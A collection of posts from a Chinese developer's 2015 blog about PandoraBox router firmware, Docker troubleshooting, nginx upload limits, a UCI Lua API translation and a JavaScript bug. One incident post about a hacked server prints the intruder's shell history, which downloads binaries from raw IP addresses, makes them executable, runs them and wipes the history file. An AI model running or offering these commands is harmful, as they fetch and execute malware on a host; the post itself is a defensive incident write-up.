Gitlab, 文件过大导致上传失败

先说说前面的事

M1已经开始步入正轨, (貌似一直测试还没有发货), 不过硬件已经开源, 需要的玩家(或者厂商)可以免费使用, 我在这里打个广告, 留下传送门: http://downloads.openwrt.org.cn/PandoraBox/PandoraBox-PBR-M1/HW/

L大的召唤之术

昨晚呢, 嗯, L大又找上我, 说他push不了, (就是自己搭的gitlab, 是服务器配置问题, 还扔了个链接我, 叫我跟着改.

嗯, 就是这个链接http://stackoverflow.com/questions/7489813/github-push-error-rpc-failed-result-22-http-code-413 后来还有它http://blog.csdn.net/suirosu/article/details/40045983

我瞧了一下, 主要问题接入受限制了, 不过问题来了! 我该改哪里?

我和大家普及一下, 咱这服务器, 不是所有服务都一股脑地全部塞进去的, 而是用docker, 一块一块地拼上去的, 单是nginx就有两个, 一个是根的nginx, 一个是gitlab 这个container 的nginx, 难道两个都要改?
好吧, 我改, 改改改! 先改根nginx, 不就是在conf下加上, client_max_body_size 20M;, 我重启了一下服务, L大立刻说, 行了!

行了?行了?后面不用改了吗?

关于后面

其实不是后面不用改, 而是后面的, 别人已经写好了, 最大为20M

1
NGINX_MAX_UPLOAD_SIZE: Maximum acceptable upload size. Defaults to 20m.

这次只是我的日常记录, 干了什么, 做了什么, 留下日志, 以免后面被人说我没干事…

话说 http://www.pandorabox.org.cn/ 准备可以下载最新的pandorabox 固件, 现在和朋友在准备写一个关于提供文件列表json 的组件(也为了后面的插件下载)


Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

新的Opkg镜像开始运作啦!

新Opkg镜像开始运作了

平常Pandorabox 的opkg 都是往Openwrt官方源走的, 速度慢先不说, 有时候还被共产主义了, 加上没有做Pandorabox 兼容, 导致很多用户(发烧友)反应, 不能用!!!

搭建这镜像不难, 就是共产主义太过伟大了, 动不动就要你备案啊, 备案啊, 还是备案啊…
我们可是热爱科学, 热爱自由的新一代接班人! 所以尝试了几种方法跳过了这个步骤 (^-^)V

此镜像非彼镜像

镜像下的ipk 都是Lintel 大大编译的, 所以并非与Openwrt下的ipk 同步, 所以如果是使用其他非Pandorabox 的固件, (可能)会出现不兼容问题, 所以在这里说一下

留种不留人

简简单单不多说话

镜像地址

http://downloads.pandorabox.org.cn/pandorabox/ralink/packages/

更改opkg源

修改路由器上的/etc/opkg.conf, 添加这一句

1
src/gz 14.09_base http://downloads.pandorabox.org.cn/pandorabox/ralink/packages/base

Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

[Chrome扩展]Pandorabox IP实时流量插件

源码地址: Github
扩展已经发布: ChromeStore

最近更新时间

2015-06-02

更改日志

0.0.3 (2015-06-02)

  • 新增启动时将会对已保存的IP进行检查
  • 更新js文件结构, 减少全局污染
  • 新增新版本接口的支持
  • 更新算法, 令其更准确
  • 修复Logo不显示问题

0.0.2 (2015-03-13)

  • 替换新的Logo
  • 降低扩展文件的大小
  • 降低内存消耗

0.0.1 (2015-03-12)

  • 初始化项目

Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

多灾多难的Docker问题杂锦

声明

最后更新日期

1
Data: 2015.06.08

遇上问题的版本号

CentOS 版本

System Version: CentOS 7
Docker Version: 1.5.0

Ubuntu 版本

System Version: Ubuntu 14.10
Docker Version: 1.6.1

杂锦

Docker 自动启动

1
2
3
4
# CentOS
systemctl enable docker
# Ubuntu
service docker enabled

DeviceMapper 修复

错误:

1
Error response from daemon: Error running DeviceCreate (createSnapDevice) dm_task_run failed

解法:

1
2
3
4
5
6
7
8
# CentOS
systemctl stop docker

thin_check /var/lib/docker/devicemapper/devicemapper/metadata
# if no error
thin_check –clear-needs-check-flag /var/lib/docker/devicemapper/devicemapper/metadata

systemctl start docker

但如有用Error呢? 先去修复!

1
2
3
# CentOS
thin_dump -r /var/lib/docker/devicemapper/devicemapper/metadata -o /tmp/metadata.xml
thin_restore -i /tmp/metadata.xml -o /var/lib/docker/devicemapper/devicemapper/metadata

网上基本都是说, 如果没有错误就thin_check –clear-needs-check-flag, 但却一句不提有错误的话该怎样.

缺失thin_check

错误:

1
thin_check: command not found

解法:

1
2
# CentOS
yum install lvm2

Pull 失败

错误:

1
error downloading dependent layers

解法:

1
Pull 其他Image, 完成后再Pull回来

1
2
3
/**************************************************
* 2015-06-08 更新分隔
**************************************************/

阿里云下 docker 启动失败

错误:

1
FATA[0000] Get http:///var/run/docker.sock/v1.18/containers/json: dial unix /var/run/docker.sock: no such file or directory. Are you trying to connect to a TLS-enabled daemon without TLS?

起因:

1
因为ubuntu放在阿里云上面, 而阿里云把所以内网IP都占用了, 所以要搞一下配置文件

解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
arylo@PandoraBox:~$ sudo docker -d
# INFO[0000] +job init_networkdriver()
# INFO[0000] +job serveapi(unix:///var/run/docker.sock)
# INFO[0000] Listening for HTTP on unix (/var/run/docker.sock)
# Could not find a free IP address range for interface 'docker0'.
# Please configure its address manually and run 'docker -b docker0'
# INFO[0000] -job init_networkdriver() = ERR (1)
# FATA[0000] Shutting down daemon due to errors: Could not find a free IP address range for interface 'docker0'.
# Please configure its address manually and run 'docker -b docker0'

sudo vi /etc/network/interfaces
# "up route add -net 172.16.0.0 netmask 255.240.0.0 gw 10.170.191.247 dev eth0"
# 将这一句注释掉

arylo@PandoraBox:~$ sudo /etc/init.d/networking restart
# * Running /etc/init.d/networking restart is deprecated because it may not enable again some interfaces
# * Reconfiguring network interfaces...
# ssh start/running, process 3547
# ssh stop/waiting
# ssh start/running, process 3598

arylo@PandoraBox:~$ sudo service docker restart
# docker stop/waiting
# docker start/running, process 3884

解法参照:
http://www.cnblogs.com/MicroTeam/p/see-docker-run-in-debian-with-aliyun-ecs.html
虽然这篇的系统是Debian, 但还是感谢作者


Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

服务器又被黑了!

前言

服务器又被黑了…

上回回顾

上次服务器被黑是14日前, 详情点击->服务器被黑了!<-

忏悔文

是的, 起因一定是我, 不用解释了…

IP被封了, 原因是垃圾邮件源…
因为IP被封, 加上没用密码, 只能召唤Lintel来修复…
L进去一看, 发现又是gittest这两个用户被登录过…而且还得到了管理员权限…
关于这一点, 我俩都不太明白, 两个nologin的用户, 竟然可以获得bash的权限, 真不太明白.
之后的事就是L去重置, 我去做IP解封…
弄得差不多了, 已经4点多了…(后面还没有睡得觉..唉)

下个小结论

  • 我俩觉得, 服务器这次好在没什么贵重数据, 否则这个事情可能会导致不可磨灭的效果…加上我俩毕竟都是自学的人, 关于这个系统配置方面没有系统地学习过, 估计报个班什么的学一学比较实际一点.
  • 下一次服务器架构要咱们商量一下再执行
  • 拒绝弱密码!!
  • 因为GFW的存在, 服务器运营商的邮件没有及时地发到L的手中, 所以没有留意警告email说有大量的邮件发送, L说以后要抄送一份给我(先听着)
  • L太忙了, 不止GFW的影响, 工作忙不过来, 所以连这警告也被略过了…

马后炮

  • 系统重置了, 没什么贵重的数据在, 所以商量了一下, 决定重置服务器.
  • 换系统了, ubuntu 安全性应该不差, 但还是有心理阴影.
  • 开了seliunx, 情况应该好一点了吧?
  • 上docker, 这个是潮流趋势, 我尝试一下, 应该效果不错? 如果可以的话, 我会补上结构.
  • 不再自带邮箱服务, 以免继续被hack.
  • SSH端口要改为其他

20150428更新

这两天都在关注docker的事, 不过最近在处理搬办公室的事, 加上在做新界面, 时间一压再压, 希望能在五一的时候开始试启用吧!

PS.这回L听到我用docker之后, 又要我一个人把服务器搭好…好吧…


Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

[翻译]UCI API

http://wiki.openwrt.org/doc/techref/uci

Lua上的uci

对于那些喜欢Lua的人, UCI已经将相关的代码封装到libuci-lua里. 只要安装这个包, 你就可以在Lua中使用UCI.

1
require("uci")

API

The api is quite simple

top level entry point

uci.cursor() (that instantiates a uci context instance) e.g.

1
uci = uci.cursor()

或者

1
uci = uci.cursor(nil, "/var/state")

if you want to involve state vars
on that you can call the usual operations

1
uci:get("config", "sectionname", "option")

returns string or nil for not found

1
uci:set("config", "sectionname", "option", "value")

sets simple string value

1
uci:set("config", "sectionname", "option", { "foo", "bar" })

sets list value

1
uci:delete("config", "section", "option")

deletes option

1
uci:delete("config", "section")

deletes section

1
uci:add("config", "type")

adds new anon section “type” and returns its name

1
uci:set("config", "name", "type")

adds new section “name” with type “type”

1
uci:foreach("config", "type", function(s) ... end)

iterates over all sections of type “type” and invokes callback function for each “s” within the callback. s is a table containing all options and two special properties
s[‘.type’] → section type
s[‘.name’] → section name
If the callback function returns false [NB: not nil!], foreach() will terminate at that point without iterating over any remaining sections. foreach() returns true if at least one section exists and the callback function didn’t raise an error for it; false otherwise.

1
uci:reorder("config", "sectionname", position)

Move a section to another position. Position starts at 0. This is for example handy to change the wireless config order (changing priority).

1
uci:revert("config")

discards any changes made to the configuration, that have not yet been committed

1
uci:commit("config")

commits (saves) the changed configuration to the corresponding file in /etc/config
That’s basically all you need


Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

通宵了,就是因为这个BUG

咳咳, 现在是凌晨的两点, 大家都回去休息, 隔壁的Lintel大大和我还在奋斗中.

事情是这样的

我利用DocumentFragment做模板的母版, 再将模板添加到另一个总的DocumentFragment中, 这样可以减轻渲染压力.

一开始是这样的:

1
2
3
4
5
6
7
8
9
var tpl = document.createDocumentFragment(),
_tpl;
tpl.appendChild($id("frm_wifi"));
var frag = document.createDocumentFragment();
var addDOM = function () {
_tpl = tpl.cloneNode(true);

...
}

实现起来完全没有问题, 而且过程非常顺畅.

作为一个不愿意重新造轮子的特懒程序猿, 也把这代码Ctrl+C 过来到另外一边,
这次就不是这样了, 一直报错.
调试了一下,得出意想不到的答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var addDOM = function () {
console.log(tpl);
// 正常, 有子Node(根据输出显示)
console.log(tpl.cloneNode(true));
// 正常, 有子Node(根据输出显示)
console.log(_tpl);
// 正常, 输出null

_tpl = tpl.cloneNode(true);

console.log(tpl);
// 正常, 有子Node(根据输出显示)
console.log(tpl.cloneNode(true));
// 正常, 有子Node(根据输出显示)
console.log(_tpl);
// 异常, 只有父Node

...
}

在Chrome和IE11下也是这样

有点奇怪

1
console.log(_tpl.childNodes.length)

如果我这样的话, 是有输出的, 好吧, 这样我就有机会继续用了

是的, 我绕过它了

好在tpl下, 只有一个node, 所以直接_frmTpl.childNodes[0]就算了

如果你知道更好的解决方法, 可否告诉我呢? -> arylo.open@gmail.com


Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

搬家了

不再是孤魂野鬼了

一直想都想拥有属于自己的域名, 关于这个, Lintel大大可是纠结了好久, 但他想要的域名一直被人占据了…我这个名字比较冷门(也不没有Lintel大大有名), 所以域名什么的, 还是很容易拿到的

路途崎岖

中国用户不允许使用优惠码

其实这样域名我弄了好久了, 一到提交订单的时候就提示我

1
There was a problem processing your transaction. Please verify your payment information or use an alternate form of payment.

我试了一下不用支付宝付款, 用银联付款.
然而是不行的(;一_一)
China换成Hong Kong之后, 反而成功了!! (恭喜狗爹获得手指一只!!!)

DNSPod更新了

以前看其他人的教程, 都是可以选择线路的, 现在线路只有付款用户可以使用, 这也是正常的事, 免费什么的, 总有那么一天会被剥夺的.
好在群众智慧是强大! 只要将电信/联通/教育网都转到GitCafe那边去, 默认交给GitHub就行了

1
2
3
4
5
@	A		电信		207.226.141.135
@ A 联通 207.226.141.135
@ A 教育网 207.226.141.135
@ A 百度 207.226.141.135
@ CNAME 默认 arylo.github.io.

Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com

服务器被黑了!

20150413 11:15PM, 准备睡觉的时候, lintel大大打给我说, 服务器上传流量异常.

我是那个时刻准备着(误)的三好程序猿

作为一个门口埋好地雷, 深夜三分钟即时上线的程序员, 立刻打开那台慢到掉渣的手提, 来处理这事.

既然有上传, 就是说程序还在运行中, 而且这服务器还没有开始正式投入, 负载不高, 稍微top一下就发现一个叫prfos的程序在跑.
查了一下, 是git用户运行它的.
遭了, 那是调试用, 所以随便弄了个弱密码, 现在被别人弄进来了….哎..我的错

他干了什么?

我跳到/home/git目录, 发现.bash_history还在, 天助我也!!

这是他执行的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
su arylo
w
cat /proc/cpuinfo
ls
w
cat /proc/cpuinfo
ls
ps -x
uname -a
ss
cd //tmp
wget http://122.224.32.6:5547/prfos
wget http://183.60.110.3:6219/netns
chmod 7777 ./netns
./netns
chmod 7777 ./prfos
./prfos
cat /dev/null > ./.bash_history

看到第一句, 我还是蛮开心的, 至少我的密码没有被破解, 估计他觉得和git一样是弱密码,
后面的基本不用说了, 下载木马, 运行它们.
但有一句让我哭笑不得的命令出现了
cat /dev/null > ./.bash_history
我不知道说他是小菜鸟还是粗心什么的, 竟然可以出现这样的失误…导致我看到以上这些命令

停止它吧

好了, 竟然知道运行了什么, 就搜一搜怎样消灭他呗
可是无论是谷娘还是度娘, 但就是没有相关杀除的信息, 是毒性不强的问题吧?

1
2
3
4
5
arylo@localhost:/tmp$ ps -A|grep prfos
20244 ? 00:57:31 prfos
arylo@localhost:/tmp$ ps -A|grep netns
12 ? 00:00:00 netns
20219 ? 00:00:10 netns

只好手动rm他们, 再kill一下他们, 并祈祷不要再运行了

PS.主要是git用户运行的程序不多, 所以基本可以找到那个是有问题的

还有谁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
arylo@localhost:/proc$ last
lintel pts/1 li406-14.members Mon Apr 13 15:54 still logged in
arylo pts/0 183.37.34.131 Mon Apr 13 15:06 still logged in
git pts/0 58.46.18.253 Mon Apr 13 04:54 - 04:54 (00:00)
test pts/0 113.98.255.48 Sun Apr 12 23:32 - 23:32 (00:00)
git pts/0 114.112.54.22 Sun Apr 12 19:48 - 20:00 (00:11)
test pts/0 192.3.159.181 Sat Apr 11 18:04 - 18:04 (00:00)
test pts/0 27.112.8.214 Sat Apr 11 12:51 - 12:51 (00:00)
test pts/0 li610-201.member Fri Apr 10 16:09 - 16:09 (00:00)
git pts/0 198.23.132.34 Fri Apr 10 11:51 - 11:51 (00:00)
test pts/0 f499.fuchsia.fas Thu Apr 9 04:54 - 04:54 (00:00)
test pts/0 195.154.165.112 Wed Apr 8 13:36 - 13:36 (00:00)
test pts/0 c099-250.cloud.g Tue Apr 7 09:17 - 09:17 (00:00)
test pts/0 113.98.255.48 Mon Apr 6 16:35 - 16:35 (00:00)
test pts/0 176.111.32.9 Mon Apr 6 14:54 - 14:54 (00:00)
arylo pts/0 14.157.176.72 Sat Apr 4 06:40 - 14:00 (07:19)
arylo pts/0 183.37.30.83 Fri Apr 3 16:52 - 20:12 (03:19)
arylo pts/1 li729-87.members Fri Apr 3 10:17 - 10:34 (00:17)
arylo pts/0 li729-87.members Fri Apr 3 09:24 - 10:20 (00:56)
arylo pts/0 li729-87.members Fri Apr 3 09:13 - 09:24 (00:10)
arylo pts/0 li729-87.members Fri Apr 3 09:11 - 09:13 (00:01)
arylo pts/0 li729-87.members Fri Apr 3 08:47 - 09:08 (00:21)
git pts/0 bolobolo1.torser Thu Apr 2 13:47 - 13:47 (00:00)
git pts/0 tor.scenehoster. Thu Apr 2 13:19 - 13:20 (00:00)

为了保证以后的不再出现这种事情, last了一下,
精了Σ( ° △ °|||)︴
竟然这么多, IP都搜一下, 好像都是肉鸡, 好在没有对这服务器做什么…
除了git, 还有test, 都是弱密码的主…还是我的(﹀_﹀)

总结

总结一下这件事所暴露的问题和解决方法

Q: SSH一下被人登上了(┬_┬)
A: 改SSH的端口, 保证安全性

Q: 弱密码惹的祸
A: 以后不能这样了, 内部的都要改一下

Q: 竟然被人运行了程序
A: 以后真的要分配好权限…test用户给人跑进来了, 不过设置了nologin, 所以没事
A: 还有还有, 以后真的一用户一类程序比较好
A: 定期更新密码说不定是个好方法?


Arylo Yeung, Typescripter, 暂留在鹅厂
tomail:arylo.open@gmail.com